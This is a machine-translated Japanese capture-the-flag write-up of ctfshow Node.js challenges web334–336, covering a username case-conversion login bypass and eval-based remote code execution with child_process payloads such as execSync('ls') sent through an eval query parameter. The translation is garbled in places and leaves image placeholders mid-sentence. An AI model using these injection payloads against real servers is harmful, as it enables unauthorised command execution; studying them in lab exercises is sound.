ctfshow_nodejs

ここにカタログタイトルを書く

web334

タイトルを開いてソースコードをダウンロードします
longin.jsを開きます


var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
    
    
  return users.find(function(item){
    
    
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
    
    
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    
    
    req.session.regenerate(function(err) {
    
    
      if(err){
    
    
        return res.json({
    
    ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({
    
    ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    
    
    res.json({
    
    ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

user.js

module.exports = {
    
    
  items: [
    {
    
    username: 'CTFSHOW', password: '123456'}
  ]
};

ここでは、アカウントのパスワードを直接入手できますが、ログインに使用したところ、正しいパスワードではないことがわかりました。次に、ソースコードを分析しました。ここでは、パスワードは主にこの文であると判断します。

name!== 'CTFSHOW' && item.username === name.toUpperCase()&& item.password === password;

これがその名前の由来です。

var user = findUser(req.body.username、req.body.password)

ここではユーザー入力であることがわかります。したがって、ここでの意味は、入力パスワードをCTFSHOWにすることはできず、入力ユーザーを大文字に変換してCTFSHOWと等しくする必要があるため、ここでは直接小文字にすることができます。

web335

ウェブサイトを開いてソースコードを表示し、ヒントを
ここに画像の説明を挿入
見つけました。rceリモートコードが実行されている可能性があることがわかりました。ここで、この記事を見ることができますchild_process(子プロセス)

方法1

ペイロード= require( 'child_process')。execSync( 'ls')

ファイルをクエリして、
ここに画像の説明を挿入
それをcatします。

方法2

ペイロード= http://d34c519b-4379-4f59-98b5-b3abca84b886.challenge.ctf.show:8080 /?eval = require( 'child_process')。spawnSync( 'ls'、['/'])。stdout.toString ()

ここで、stdout.toStringを追加する必要があることに注意してください。そうしないと、次のようになります。
ここに画像の説明を挿入

ここに画像の説明を挿入

web336

これは前の質問と同じですが、いくつかのことがフィルタリングされる可能性があります。
ここに画像の説明を挿入
ここでは、2つの方法を試してみます。

ペイロード= require( 'child_process')。spawnSync( 'ls'、['/'])。stdout.toString()

ここに画像の説明を挿入
ここに画像の説明を挿入

ここに画像の説明を挿入

おすすめ

転載: blog.csdn.net/qq_45951598/article/details/114733965